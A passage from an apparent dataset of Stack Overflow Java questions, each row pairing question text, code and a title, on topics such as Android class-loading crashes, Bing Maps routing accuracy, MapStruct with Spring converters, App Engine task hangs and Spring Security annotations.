) { // Make a list of them . add ( Arrays. < T > asList ( entries ) ) ; },Some Java 7 warnings - how to remove them +Java,"I 've searched around for the solution and there are several related to ClassNotFoundException threads like this on SO . But I tried solutions provided there and nothing helped . So in my case when deploying app to a device directly from Android Studio it runs normally , although it crashes when installing from file : adb install app-debug.apk.AndroidManifest.xmland build.gradle : I do have that class MyApp in the project . That log does n't make anything clear for me . I 've noticed the problem after updating Android Studio to 2.3 and updating some dependencies in the project . Before it worked fine.I will appreciate any help in solving this issue.Edit : After some trials I 've found out that the way I create a build makes difference . If I build my project with Build/Build APK and adb install app-debug.apk it wo n't throw an exception . But every time I use Run/Run 'app ' option to deploy the app to the device , installing apk created this way through terminal results in a crash with mentioned exception . Is it intended behaviour or a bug ? Also worth noticing that Build/Clean project fixes the problem for the next build .","03-08 16:45:59.303 32233-32233/us.kostenko.glagol.debug E/AndroidRuntime : FATAL EXCEPTION : main Process : us.kostenko.glagol.debug , PID : 32233 java.lang.RuntimeException : Unable to instantiate application us.kostenko.glagol.di.application.MyApp : java.lang.ClassNotFoundException : Did n't find class `` us.kostenko.glagol.di.application.MyApp '' on path : DexPathList [ [ zip file `` /data/app/us.kostenko.glagol.debug-1/base.apk '' ] , nativeLibraryDirectories= [ /data/app/us.kostenko.glagol.debug-1/lib/arm64 , /vendor/lib64 , /system/lib64 ] ] at android.app.LoadedApk.makeApplication ( LoadedApk.java:565 ) at android.app.ActivityThread.handleBindApplication ( ActivityThread.java:4561 ) at android.app.ActivityThread.access $ 1500 ( ActivityThread.java:154 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1380 ) at android.os.Handler.dispatchMessage ( Handler.java:102 ) at android.os.Looper.loop ( Looper.java:135 ) at android.app.ActivityThread.main ( ActivityThread.java:5298 ) at java.lang.reflect.Method.invoke ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:372 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:913 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:708 ) Caused by : java.lang.ClassNotFoundException : Did n't find class `` us.kostenko.glagol.di.application.MyApp '' on path : DexPathList [ [ zip file `` /data/app/us.kostenko.glagol.debug-1/base.apk '' ] , nativeLibraryDirectories= [ /data/app/us.kostenko.glagol.debug-1/lib/arm64 , /vendor/lib64 , /system/lib64 ] ] at dalvik.system.BaseDexClassLoader.findClass ( BaseDexClassLoader.java:56 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:511 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:469 ) at android.app.Instrumentation.newApplication ( Instrumentation.java:980 ) at android.app.LoadedApk.makeApplication ( LoadedApk.java:560 ) at android.app.ActivityThread.handleBindApplication ( ActivityThread.java:4561 ) at android.app.ActivityThread.access $ 1500 ( ActivityThread.java:154 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1380 ) at android.os.Handler.dispatchMessage ( Handler.java:102 ) at android.os.Looper.loop ( Looper.java:135 ) at android.app.ActivityThread.main ( ActivityThread.java:5298 ) at java.lang.reflect.Method.invoke ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:372 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:913 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:708 ) Suppressed : java.lang.ClassNotFoundException : us.kostenko.glagol.di.application.MyApp at java.lang.Class.classForName ( Native Method ) at java.lang.BootClassLoader.findClass ( ClassLoader.java:781 ) at java.lang.BootClassLoader.loadClass ( ClassLoader.java:841 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:504 ) ... 13 more Caused by : java.lang.NoClassDefFoundError : Class not found using the boot class loader ; no stack available < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < manifest xmlns : android= '' http : //schemas.android.com/apk/res/android '' package= '' us.kostenko.glagol '' > < uses-permission android : name= '' android.permission.INTERNET '' / > < uses-permission android : name= '' android.permission.WAKE_LOCK '' / > < ! -- For download manager -- > < uses-permission android : name= '' android.permission.INTERNET '' / > < uses-permission android : name= '' android.permission.ACCESS_NETWORK_STATE '' / > < uses-permission android : name= '' android.permission.WRITE_EXTERNAL_STORAGE '' / > < uses-permission android : name= '' android.permission.READ_EXTERNAL_STORAGE '' / > < application android : name= '' .di.application.MyApp '' android : allowBackup= '' false '' android : icon= '' @ mipmap/ic_launcher '' android : label= '' @ string/app_name '' android : supportsRtl= '' true '' android : theme= '' @ style/AppTheme '' > < activity android : name= '' .SplashActivity '' android : theme= '' @ style/SplashTheme '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < /activity > < activity android : name= '' .MainActivity '' android : label= '' '' android : theme= '' @ style/AppTheme.NoActionBar '' android : screenOrientation= '' portrait '' android : launchMode= '' singleTop '' > < /activity > < activity android : name= '' .personal.SignInActivity '' android : label= '' @ string/title_activity_sign_in '' android : theme= '' @ style/AppTheme.NoActionBar '' android : screenOrientation= '' portrait '' / > < activity android : name= '' .payment.PaymentActivity '' android : label= '' @ string/title_activity_payment '' android : theme= '' @ style/AppTheme.NoActionBar '' android : screenOrientation= '' portrait '' > < meta-data android : name= '' android.support.PARENT_ACTIVITY '' android : value= '' .MainActivity '' / > < /activity > < service android : name= '' .catalog.service.BookFilesService '' android : exported= '' false '' android : description= '' @ string/about_detail_book_service '' / > < service android : name= '' .player.PlayerService '' android : exported= '' false '' android : description= '' @ string/about_play_book_service '' / > < /application > apply plugin : 'com.android.application'apply plugin : 'kotlin-android'apply plugin : 'kotlin-android-extensions'apply plugin : 'kotlin-kapt'apply plugin : 'realm-android'Properties properties = new Properties ( ) properties.load ( project.rootProject.file ( 'local.properties ' ) .newDataInputStream ( ) ) def superpowered_sdk_path = properties.getProperty ( 'superpowered.dir ' ) android { signingConfigs { config { ... } } compileSdkVersion rootProject.compileSdkVersion buildToolsVersion rootProject.buildToolsVersion defaultConfig { applicationId `` us.kostenko.glagol '' minSdkVersion rootProject.minSdkVersion targetSdkVersion rootProject.targetSdkVersion versionCode 2 versionName `` 1.1 '' testInstrumentationRunner `` android.support.test.runner.AndroidJUnitRunner '' ndk { abiFilters 'armeabi-v7a ' , 'arm64-v8a ' , 'x86 ' , 'x86_64 ' // these platforms cover 99 % percent of all Android devices } externalNativeBuild { cmake { arguments '-DANDROID_PLATFORM=android-16 ' , '-DANDROID_TOOLCHAIN=clang ' , '-DANDROID_ARM_NEON=TRUE ' , '-DANDROID_STL=gnustl_static ' , `` -DPATH_TO_SUPERPOWERED : STRING= $ { superpowered_sdk_path } '' cFlags '-O3 ' , '-fsigned-char ' // full optimization , char data type is signed cppFlags '-fsigned-char ' , `` -I $ { superpowered_sdk_path } '' } } } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile ( 'proguard-android.txt ' ) , 'proguard-rules.pro ' } debug { applicationIdSuffix `` .debug '' } } sourceSets { main.java.srcDirs += 'src/main/kotlin ' main { jniLibs.srcDirs = [ 'src/main/jni ' ] } } externalNativeBuild { cmake { path 'src/main/jni/CMakeLists.txt ' } } } kapt { generateStubs = true } repositories { // maven { url 'https : //github.com/linchaolong/stetho-realm/raw/master/maven-repo ' } mavenCentral ( ) } dependencies { compile fileTree ( include : [ '*.jar ' ] , dir : 'libs ' ) androidTestCompile ( 'com.android.support.test.espresso : espresso-core:2.2.2 ' , { exclude group : 'com.android.support ' , module : 'support-annotations ' } ) compile `` com.android.support : appcompat-v7 : $ rootProject.ext.supportLibraryVersion '' compile `` com.android.support : design : $ rootProject.ext.supportLibraryVersion '' compile 'com.android.support.constraint : constraint-layout:1.0.0-alpha9 ' testCompile 'junit : junit:4.12 ' compile `` org.jetbrains.kotlin : kotlin-stdlib : $ kotlin_version '' /* Rx - reactive extensions https : //github.com/ReactiveX/RxAndroid */ compile 'io.reactivex : rxandroid:1.2.1 ' compile 'io.reactivex : rxjava:1.1.6 ' /* Retrofit - networking * http : //square.github.io/retrofit/ */ compile `` com.squareup.retrofit2 : retrofit : $ rootProject.ext.retrofit2Version '' compile `` com.squareup.retrofit2 : converter-gson : $ rootProject.ext.retrofit2Version '' compile 'com.squareup.retrofit2 : adapter-rxjava:2.0.2 ' /* Gson - json parsing * https : //github.com/google/gson */ compile 'com.google.code.gson : gson:2.7 ' /* OkHttp3 - http client * http : //square.github.io/okhttp/ */ compile `` com.squareup.okhttp3 : okhttp : $ rootProject.ext.okhttpVersion '' compile `` com.squareup.okhttp3 : logging-interceptor : $ rootProject.ext.okhttpVersion '' /* Dagger 2 - DI https : //github.com/codepath/android_guides/wiki/Dependency-Injection-with-Dagger-2*/ compile 'com.google.dagger : dagger:2.8 ' kapt `` com.google.dagger : dagger-compiler:2.4 '' provided 'org.glassfish : javax.annotation:10.0-b28 ' /* Glide - image loading lib https : //github.com/bumptech/glide */ compile 'com.github.bumptech.glide : glide:3.7.0'integration:1.4.0 @ aar ' compile `` com.android.support : support-v4 : $ rootProject.ext.supportLibraryVersion '' /* Realm */ compile 'io.realm : android-adapters:1.3.0 ' compile 'de.cketti.mailto : email-intent-builder:1.0.0 ' compile 'com.roughike : bottom-bar:2.1.1 ' } repositories { mavenCentral ( ) }",Did n't find .MyApp class on path : DexPathList . Only if running debug apk directly +Java,"I tried to test Bing Map API 's accuracy . I tried to find out the distance and driving time between Chicago O'Hare International Airport and Chicago Midway Airport . It appears that Bing Map API is completely inaccurate . I double and triple checked it manually with bing maps . Here is the complete code This is the link to the JARsThe result that I got was The above results are absolutely inaccurate . I compared manually the numbers with Bing Map Click this link to see the difference . When I tried using different addresses , the driving time would in most cases be calculated fine . . . however the distance is almost always higher than the one that I would get typing in the addresses manually into the Bing Map . . . Is it the issue with the Bing Map API ? Maybe I should use the getDistance method in a different way ? Although the distances are close to what Bing Map shows manually however not exactly the same . How come they are not the same ? Thank You !","import net.virtualearth.dev.webservices.v1.common.Credentials ; import net.virtualearth.dev.webservices.v1.common.Location ; import net.virtualearth.dev.webservices.v1.route.BasicHttpBinding_IRouteServiceStub ; import net.virtualearth.dev.webservices.v1.route.RouteRequest ; import net.virtualearth.dev.webservices.v1.route.RouteResponse ; import net.virtualearth.dev.webservices.v1.route.RouteResult ; import net.virtualearth.dev.webservices.v1.route.RouteServiceLocator ; import net.virtualearth.dev.webservices.v1.route.RouteSummary ; import net.virtualearth.dev.webservices.v1.route.Waypoint ; public class Test { public static void main ( String [ ] args ) throws Exception { double [ ] address1Coordinate = { 41.97980880737305 , -87.88204193115234 } ; // Chicago O'Hare International Airport , IL [ I checked the coordinate . It is accurate ] double [ ] address2Coordinate = { 41.7872200012207 , -87.74160766601562 } ; // Chicago Midway Airport , IL [ I checked the coordinate . It is accurate ] BasicHttpBinding_IRouteServiceStub routeService = ( BasicHttpBinding_IRouteServiceStub ) ( new RouteServiceLocator ( ) ) .getBasicHttpBinding_IRouteService ( ) ; RouteRequest request = new RouteRequest ( ) ; Credentials creds = new Credentials ( ) ; // I got my Bing map key from here http : //msdn.microsoft.com/en-us/library/ff428642.aspx and entered it below : creds.setApplicationId ( `` This is my Bing App Key . . . `` ) ; request.setCredentials ( creds ) ; Waypoint [ ] waypoints = new Waypoint [ 2 ] ; waypoints [ 0 ] = new Waypoint ( ) ; Location start = new Location ( ) ; start.setLatitude ( address1Coordinate [ 0 ] ) ; start.setLongitude ( address1Coordinate [ 1 ] ) ; waypoints [ 0 ] .setLocation ( start ) ; waypoints [ 1 ] = new Waypoint ( ) ; Location end = new Location ( ) ; end.setLatitude ( address2Coordinate [ 0 ] ) ; end.setLongitude ( address2Coordinate [ 1 ] ) ; waypoints [ 1 ] .setLocation ( end ) ; request.setWaypoints ( waypoints ) ; RouteResponse response = routeService.calculateRoute ( request ) ; RouteResult result = response.getResult ( ) ; RouteSummary routeSummary = result.getSummary ( ) ; System.out.println ( `` Bing Distance : `` + routeSummary.getDistance ( ) + `` miles `` ) ; System.out.println ( `` Driving Time : `` + routeSummary.getTimeInSeconds ( ) /60 + `` minutes `` ) ; } } Bing Distance : 42.898 miles Driving Time : 34 minutes",Bing Map API vs Bing Map manual RouteRequest . Is the API inaccurate ? +Java,"I 'd like to combine MapStruct mappers with Spring 's Conversion model . So I declare every Mapper interface as an extension of Spring 's Converter : I can then use the mapper beans by injecting the standard ConversionService : This works nicely , but I 'm wondering whether there 's a way to avoid injecting some Mappers into others directly via the uses attribute . What I 'd like to do is tell a Mapper to use the ConversionService for employing another mapper . However , since the ConversionService 's convert method does n't match MapStruct 's standard pattern for a mapping method , the code generation plugin does n't recognise that it can use the service when looking for a submapping . Basically , what I want to do is writeinstead ofIs there a way to achieve this ? EditSince it 's been asked , let 's say I 've got a CarMapper defined as above , with the types Car and CarDto having an attribute wheel of type Wheel and WheelDto , respectively . Then I 'd like to be able to define another Mapper like this : Right now , I 'd have to add this Mapper explicitly : Which would then give the generated CarMapperImpl an @ Autowired member of type WheelMapper which would be called in order to map the attribute wheel.However , what I 'd like is that the generated code would look somewhat like this :","@ Mapperpublic interface CarMapper extends Converter < Car , CarDto > { @ Override CarDto convert ( Car car ) ; } class CarWarehouse { @ Autowired private ConversionService conversionService ; ... public CarDto getCarInformation ( Car car ) { return conversionService.convert ( car , CarDto.class ) ; } } @ Mapper ( uses=ConversionService.class ) public interface ParentMapper extends Converter < Parent , ParentDto > @ Mapper ( uses= { ChildMapper1.class , ChildMapper2.class , ChildMapper3.class } ) public interface ParentMapper extends Converter < Parent , ParentDto > @ Mapperpublic interface WheelMapper extends Converter < Wheel , WheelDto > { @ Override WheelDto convert ( Wheel wheel ) ; } @ Mapper ( uses = WheelMapper.class ) public interface CarMapper extends Converter < Car , CarDto > @ Componentpublic class CarMapperImpl implements CarMapper { @ Autowired private ConversionService conversionService ; @ Override public CarDto convert ( Car car ) { CarDto carDto = new CarDto ( ) ; carDto.setWheel ( conversionService.convert ( car.getWheel ( ) , WheelDto.class ) ; return carDto ; } }",MapStruct Mapper as Spring Framework Converter - idiomatic use possible ? +Java,"I 've noticed that the environment in Java on Windows ( as obtained by a System.getenv ( ) call ) includes some variables that do n't exist in the real environment . These begin with and equals-sign and include `` =ExitCode '' which maps to the exit code of the process that ran just before this java invokation ; and the default directories of various drive letters , such as `` =C : '' , `` =D : '' . This seems to be the case with all of Sun 's Java versions , running on all Windows versions . Is this documented anywhere , or is it purely for Sun 's internal only ? EditHere 's a simple example application to show what I mean . Compile and run this on the command line : Then compare the variables with the SET command ( from cmd.exe ) or with similar command-line program written in C. You 'll find the variables beginning with = do n't exist in those : These variables are obviously added during execution of the JVM .","import java.util.Map ; class ShowEnv { public static void main ( String [ ] args ) { for ( Map.Entry v : System.getenv ( ) .entrySet ( ) ) System.out.printf ( `` % -23s= % .54s % n '' , v.getKey ( ) , v.getValue ( ) ) ; } } =ExitCode = 00000000= : : = : :\=C : = C : \Temp",java System.getenv environment names starting with `` = '' +Java,I am trying to implement tabs into my application and I have added the SlidingTabLayout.java and SlidingTabStrip.java from Google . I also made sure to add the setDistributeEvenly method within the SlidingTabLayout class.My problem is coming from the R.attr.colorForeground . I am getting the error ' Can not resolve sysmbol 'colorForeground'.Here is the the two classes for which these are made for the tabs . } } On both classes from google they have no declared the colorForeground so I am assuming it is set into Android ? Any help would be greatly appreciated on fixing this issue with the colorForeground .,"class SlidingTabStrip extends LinearLayout { private static final int DEFAULT_BOTTOM_BORDER_THICKNESS_DIPS = 0 ; private static final byte DEFAULT_BOTTOM_BORDER_COLOR_ALPHA = 0x26 ; private static final int SELECTED_INDICATOR_THICKNESS_DIPS = 3 ; private static final int DEFAULT_SELECTED_INDICATOR_COLOR = 0xFF33B5E5 ; private final int mBottomBorderThickness ; private final Paint mBottomBorderPaint ; private final int mSelectedIndicatorThickness ; private final Paint mSelectedIndicatorPaint ; private final int mDefaultBottomBorderColor ; private final SimpleTabColorizer mDefaultTabColorizer ; private int mSelectedPosition ; private float mSelectionOffset ; private SlidingTabLayout.TabColorizer mCustomTabColorizer ; SlidingTabStrip ( Context context ) { this ( context , null ) ; } SlidingTabStrip ( Context context , AttributeSet attrs ) { super ( context , attrs ) ; setWillNotDraw ( false ) ; final float density = getResources ( ) .getDisplayMetrics ( ) .density ; TypedValue outValue = new TypedValue ( ) ; context.getTheme ( ) .resolveAttribute ( R.attr.colorForeground , outValue , true ) ; final int themeForegroundColor = outValue.data ; mDefaultBottomBorderColor = setColorAlpha ( themeForegroundColor , DEFAULT_BOTTOM_BORDER_COLOR_ALPHA ) ; mDefaultTabColorizer = new SimpleTabColorizer ( ) ; mDefaultTabColorizer.setIndicatorColors ( DEFAULT_SELECTED_INDICATOR_COLOR ) ; mBottomBorderThickness = ( int ) ( DEFAULT_BOTTOM_BORDER_THICKNESS_DIPS * density ) ; mBottomBorderPaint = new Paint ( ) ; mBottomBorderPaint.setColor ( mDefaultBottomBorderColor ) ; mSelectedIndicatorThickness = ( int ) ( SELECTED_INDICATOR_THICKNESS_DIPS * density ) ; mSelectedIndicatorPaint = new Paint ( ) ; } /** * Set the alpha value of the { @ code color } to be the given { @ code alpha } value . */private static int setColorAlpha ( int color , byte alpha ) { return Color.argb ( alpha , Color.red ( color ) , Color.green ( color ) , Color.blue ( color ) ) ; } /** * Blend { @ code color1 } and { @ code color2 } using the given ratio . * * @ param ratio of which to blend . 1.0 will return { @ code color1 } , 0.5 will give an even blend , * 0.0 will return { @ code color2 } . */private static int blendColors ( int color1 , int color2 , float ratio ) { final float inverseRation = 1f - ratio ; float r = ( Color.red ( color1 ) * ratio ) + ( Color.red ( color2 ) * inverseRation ) ; float g = ( Color.green ( color1 ) * ratio ) + ( Color.green ( color2 ) * inverseRation ) ; float b = ( Color.blue ( color1 ) * ratio ) + ( Color.blue ( color2 ) * inverseRation ) ; return Color.rgb ( ( int ) r , ( int ) g , ( int ) b ) ; } void setCustomTabColorizer ( SlidingTabLayout.TabColorizer customTabColorizer ) { mCustomTabColorizer = customTabColorizer ; invalidate ( ) ; } void setSelectedIndicatorColors ( int ... colors ) { // Make sure that the custom colorizer is removed mCustomTabColorizer = null ; mDefaultTabColorizer.setIndicatorColors ( colors ) ; invalidate ( ) ; } void onViewPagerPageChanged ( int position , float positionOffset ) { mSelectedPosition = position ; mSelectionOffset = positionOffset ; invalidate ( ) ; } @ Overrideprotected void onDraw ( Canvas canvas ) { final int height = getHeight ( ) ; final int childCount = getChildCount ( ) ; final SlidingTabLayout.TabColorizer tabColorizer = mCustomTabColorizer ! = null ? mCustomTabColorizer : mDefaultTabColorizer ; // Thick colored underline below the current selection if ( childCount > 0 ) { View selectedTitle = getChildAt ( mSelectedPosition ) ; int left = selectedTitle.getLeft ( ) ; int right = selectedTitle.getRight ( ) ; int color = tabColorizer.getIndicatorColor ( mSelectedPosition ) ; if ( mSelectionOffset > 0f & & mSelectedPosition < ( getChildCount ( ) - 1 ) ) { int nextColor = tabColorizer.getIndicatorColor ( mSelectedPosition + 1 ) ; if ( color ! = nextColor ) { color = blendColors ( nextColor , color , mSelectionOffset ) ; } // Draw the selection partway between the tabs View nextTitle = getChildAt ( mSelectedPosition + 1 ) ; left = ( int ) ( mSelectionOffset * nextTitle.getLeft ( ) + ( 1.0f - mSelectionOffset ) * left ) ; right = ( int ) ( mSelectionOffset * nextTitle.getRight ( ) + ( 1.0f - mSelectionOffset ) * right ) ; } mSelectedIndicatorPaint.setColor ( color ) ; canvas.drawRect ( left , height - mSelectedIndicatorThickness , right , height , mSelectedIndicatorPaint ) ; } // Thin underline along the entire bottom edge canvas.drawRect ( 0 , height - mBottomBorderThickness , getWidth ( ) , height , mBottomBorderPaint ) ; } private static class SimpleTabColorizer implements SlidingTabLayout.TabColorizer { private int [ ] mIndicatorColors ; @ Override public final int getIndicatorColor ( int position ) { return mIndicatorColors [ position % mIndicatorColors.length ] ; } void setIndicatorColors ( int ... colors ) { mIndicatorColors = colors ; } } public class SlidingTabLayout extends HorizontalScrollView { private static final int TITLE_OFFSET_DIPS = 24 ; private static final int TAB_VIEW_PADDING_DIPS = 16 ; private static final int TAB_VIEW_TEXT_SIZE_SP = 12 ; private final SlidingTabStrip mTabStrip ; private int mTitleOffset ; private int mTabViewLayoutId ; private int mTabViewTextViewId ; private boolean mDistributeEvenly ; private ViewPager mViewPager ; private SparseArray < String > mContentDescriptions = new SparseArray < String > ( ) ; private ViewPager.OnPageChangeListener mViewPagerPageChangeListener ; public SlidingTabLayout ( Context context ) { this ( context , null ) ; } public SlidingTabLayout ( Context context , AttributeSet attrs ) { this ( context , attrs , 0 ) ; } public SlidingTabLayout ( Context context , AttributeSet attrs , int defStyle ) { super ( context , attrs , defStyle ) ; // Disable the Scroll Bar setHorizontalScrollBarEnabled ( false ) ; // Make sure that the Tab Strips fills this View setFillViewport ( true ) ; mTitleOffset = ( int ) ( TITLE_OFFSET_DIPS * getResources ( ) .getDisplayMetrics ( ) .density ) ; mTabStrip = new SlidingTabStrip ( context ) ; addView ( mTabStrip , LayoutParams.MATCH_PARENT , LayoutParams.WRAP_CONTENT ) ; } /** * Set the custom { @ link TabColorizer } to be used . * < p/ > * If you only require simple custmisation then you can use * { @ link # setSelectedIndicatorColors ( int ... ) } to achieve * similar effects . */public void setCustomTabColorizer ( TabColorizer tabColorizer ) { mTabStrip.setCustomTabColorizer ( tabColorizer ) ; } public void setDistributeEvenly ( boolean distributeEvenly ) { mDistributeEvenly = distributeEvenly ; } /** * Sets the colors to be used for indicating the selected tab . These colors are treated as a * circular array . Providing one color will mean that all tabs are indicated with the same color . */public void setSelectedIndicatorColors ( int ... colors ) { mTabStrip.setSelectedIndicatorColors ( colors ) ; } /** * Set the { @ link ViewPager.OnPageChangeListener } . When using { @ link SlidingTabLayout } you are * required to set any { @ link ViewPager.OnPageChangeListener } through this method . This is so * that the layout can update it 's scroll position correctly . * * @ see ViewPager # setOnPageChangeListener ( ViewPager.OnPageChangeListener ) */public void setOnPageChangeListener ( ViewPager.OnPageChangeListener listener ) { mViewPagerPageChangeListener = listener ; } /** * Set the custom layout to be inflated for the tab views . * * @ param layoutResId Layout id to be inflated * @ param textViewId id of the { @ link TextView } in the inflated view */public void setCustomTabView ( int layoutResId , int textViewId ) { mTabViewLayoutId = layoutResId ; mTabViewTextViewId = textViewId ; } /** * Sets the associated view pager . Note that the assumption here is that the pager content * ( number of tabs and tab titles ) does not change after this call has been made . */public void setViewPager ( ViewPager viewPager ) { mTabStrip.removeAllViews ( ) ; mViewPager = viewPager ; if ( viewPager ! = null ) { viewPager.setOnPageChangeListener ( new InternalViewPagerListener ( ) ) ; populateTabStrip ( ) ; } } /** * Create a default view to be used for tabs . This is called if a custom tab view is not set via * { @ link # setCustomTabView ( int , int ) } . */protected TextView createDefaultTabView ( Context context ) { TextView textView = new TextView ( context ) ; textView.setGravity ( Gravity.CENTER ) ; textView.setTextSize ( TypedValue.COMPLEX_UNIT_SP , TAB_VIEW_TEXT_SIZE_SP ) ; textView.setTypeface ( Typeface.DEFAULT_BOLD ) ; textView.setLayoutParams ( new LinearLayout.LayoutParams ( ViewGroup.LayoutParams.WRAP_CONTENT , ViewGroup.LayoutParams.WRAP_CONTENT ) ) ; TypedValue outValue = new TypedValue ( ) ; getContext ( ) .getTheme ( ) .resolveAttribute ( android.R.attr.selectableItemBackground , outValue , true ) ; textView.setBackgroundResource ( outValue.resourceId ) ; textView.setAllCaps ( true ) ; int padding = ( int ) ( TAB_VIEW_PADDING_DIPS * getResources ( ) .getDisplayMetrics ( ) .density ) ; textView.setPadding ( padding , padding , padding , padding ) ; return textView ; } private void populateTabStrip ( ) { final PagerAdapter adapter = mViewPager.getAdapter ( ) ; final View.OnClickListener tabClickListener = new TabClickListener ( ) ; for ( int i = 0 ; i < adapter.getCount ( ) ; i++ ) { View tabView = null ; TextView tabTitleView = null ; if ( mTabViewLayoutId ! = 0 ) { // If there is a custom tab view layout id set , try and inflate it tabView = LayoutInflater.from ( getContext ( ) ) .inflate ( mTabViewLayoutId , mTabStrip , false ) ; tabTitleView = ( TextView ) tabView.findViewById ( mTabViewTextViewId ) ; } if ( tabView == null ) { tabView = createDefaultTabView ( getContext ( ) ) ; } if ( tabTitleView == null & & TextView.class.isInstance ( tabView ) ) { tabTitleView = ( TextView ) tabView ; } if ( mDistributeEvenly ) { LinearLayout.LayoutParams lp = ( LinearLayout.LayoutParams ) tabView.getLayoutParams ( ) ; lp.width = 0 ; lp.weight = 1 ; } tabTitleView.setText ( adapter.getPageTitle ( i ) ) ; tabView.setOnClickListener ( tabClickListener ) ; String desc = mContentDescriptions.get ( i , null ) ; if ( desc ! = null ) { tabView.setContentDescription ( desc ) ; } mTabStrip.addView ( tabView ) ; if ( i == mViewPager.getCurrentItem ( ) ) { tabView.setSelected ( true ) ; } } } public void setContentDescription ( int i , String desc ) { mContentDescriptions.put ( i , desc ) ; } @ Overrideprotected void onAttachedToWindow ( ) { super.onAttachedToWindow ( ) ; if ( mViewPager ! = null ) { scrollToTab ( mViewPager.getCurrentItem ( ) , 0 ) ; } } private void scrollToTab ( int tabIndex , int positionOffset ) { final int tabStripChildCount = mTabStrip.getChildCount ( ) ; if ( tabStripChildCount == 0 || tabIndex < 0 || tabIndex > = tabStripChildCount ) { return ; } View selectedChild = mTabStrip.getChildAt ( tabIndex ) ; if ( selectedChild ! = null ) { int targetScrollX = selectedChild.getLeft ( ) + positionOffset ; if ( tabIndex > 0 || positionOffset > 0 ) { // If we 're not at the first child and are mid-scroll , make sure we obey the offset targetScrollX -= mTitleOffset ; } scrollTo ( targetScrollX , 0 ) ; } } /** * Allows complete control over the colors drawn in the tab layout . Set with * { @ link # setCustomTabColorizer ( TabColorizer ) } . */public interface TabColorizer { /** * @ return return the color of the indicator used when { @ code position } is selected . */ int getIndicatorColor ( int position ) ; } private class InternalViewPagerListener implements ViewPager.OnPageChangeListener { private int mScrollState ; @ Override public void onPageScrolled ( int position , float positionOffset , int positionOffsetPixels ) { int tabStripChildCount = mTabStrip.getChildCount ( ) ; if ( ( tabStripChildCount == 0 ) || ( position < 0 ) || ( position > = tabStripChildCount ) ) { return ; } mTabStrip.onViewPagerPageChanged ( position , positionOffset ) ; View selectedTitle = mTabStrip.getChildAt ( position ) ; int extraOffset = ( selectedTitle ! = null ) ? ( int ) ( positionOffset * selectedTitle.getWidth ( ) ) : 0 ; scrollToTab ( position , extraOffset ) ; if ( mViewPagerPageChangeListener ! = null ) { mViewPagerPageChangeListener.onPageScrolled ( position , positionOffset , positionOffsetPixels ) ; } } @ Override public void onPageScrollStateChanged ( int state ) { mScrollState = state ; if ( mViewPagerPageChangeListener ! = null ) { mViewPagerPageChangeListener.onPageScrollStateChanged ( state ) ; } } @ Override public void onPageSelected ( int position ) { if ( mScrollState == ViewPager.SCROLL_STATE_IDLE ) { mTabStrip.onViewPagerPageChanged ( position , 0f ) ; scrollToTab ( position , 0 ) ; } for ( int i = 0 ; i < mTabStrip.getChildCount ( ) ; i++ ) { mTabStrip.getChildAt ( i ) .setSelected ( position == i ) ; } if ( mViewPagerPageChangeListener ! = null ) { mViewPagerPageChangeListener.onPageSelected ( position ) ; } } } private class TabClickListener implements View.OnClickListener { @ Override public void onClick ( View v ) { for ( int i = 0 ; i < mTabStrip.getChildCount ( ) ; i++ ) { if ( v == mTabStrip.getChildAt ( i ) ) { mViewPager.setCurrentItem ( i ) ; return ; } } } }",R.attr.colorForeground error from Google I/O SlidingTabStrip.java +Java,"We have a cron job that runs every hour on a backend module and creates tasks . The cron job runs queries on the Cloud SQL database , and the tasks make HTTP calls to other servers and also update the database . Normally they run great , even when thousands of tasks as created , but sometimes it gets `` stuck '' and there is nothing in the logs that can shed some light on the situation.For example , yesterday we monitored the cron job while it created a few tens of tasks and then it stopped , along with 8 of the tasks that also got stuck in the queue . When it was obvious that nothing was happening we ran the process a few more times and each time completed successfully.After a day the original task was killed with a DeadlineExceededException and then the 8 other tasks , that were apparently running in the same instance , were killed with the following message : A problem was encountered with the process that handled this request , causing it to exit . This is likely to cause a new process to be used for the next request to your application . If you see this message frequently , you may be throwing exceptions during the initialization of your application . ( Error code 104 ) Until the processes were killed we saw absolutely no record of them in the logs , and now that we see them there are no log records before the time of the DeadlineExceededException , so we have no idea at what point they got stuck.We suspected that there is some lock in the database , but we see in the following link that there is a 10 minute limit for queries , so that would cause the process to fail much sooner than one day : https : //cloud.google.com/appengine/docs/java/cloud-sql/ # Java_Size_and_access_limitsOur module 's class and scaling configuration is : The configuration of the queue is : I uploaded some images of the trace data for the cron job : http : //imgur.com/a/H5wGG.This includes the trace summary , and the beginning/ending of the timeline.There is no trace data for the 8 terminated tasks.What could be the cause of this and how can we investigate it further ?",< instance-class > B4 < /instance-class > < basic-scaling > < max-instances > 11 < /max-instances > < idle-timeout > 10m < /idle-timeout > < /basic-scaling > < rate > 5/s < /rate > < max-concurrent-requests > 100 < /max-concurrent-requests > < mode > push < /mode > < retry-parameters > < task-retry-limit > 5 < /task-retry-limit > < min-backoff-seconds > 10 < /min-backoff-seconds > < max-backoff-seconds > 200 < /max-backoff-seconds > < /retry-parameters >,Why do processes running on Google App Engine hang ? +Java,I am having a problem similar to PreAuthorize annotation does n't work with jersey . I created a configuration class for Spring Security and the authentication works but the authorization does not . Here is my codeSpringSecurityConfig.javaand Template.javaMy guess is that the authentication is handled in the filter chain but it never comes back around after the authorization tag is reached . Any idea how to make this work ?,"@ Configuration @ EnableWebSecurity @ EnableGlobalMethodSecurity ( prePostEnabled = true , securedEnabled = true ) @ Order ( 1 ) @ ComponentScan ( { `` com.foo.rest.resources.Template '' } ) public class SpringSecurityConfig extends WebSecurityConfigurerAdapter { private final UserService userService ; private final TokenAuthenticationService tokenAuthenticationService ; public SpringSecurityConfig ( ) { super ( true ) ; this.userService = new UserService ( ) ; 